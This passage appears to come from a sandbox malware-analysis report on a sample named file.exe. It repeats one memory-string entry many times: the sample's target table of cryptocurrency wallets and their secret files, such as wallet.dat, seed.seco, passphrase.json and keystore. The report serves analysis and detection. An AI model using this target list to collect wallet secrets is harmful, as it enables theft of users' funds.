Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2164783980.0000000001011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2164783980.0000000001011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \S-1-5-21-2246122658-3693405117-2476756634-1002.wallet\info.seco*(
Source: file.exe, 00000000.00000002.2164783980.0000000001011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2164783980.0000000001011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2164783980.0000000001011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2164783980.0000000001011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2164783980.0000000001011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2164783980.0000000001011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2164783980.0000000001011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2164783980.0000000001011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2164783980.0000000001011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2164783980.0000000001011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia 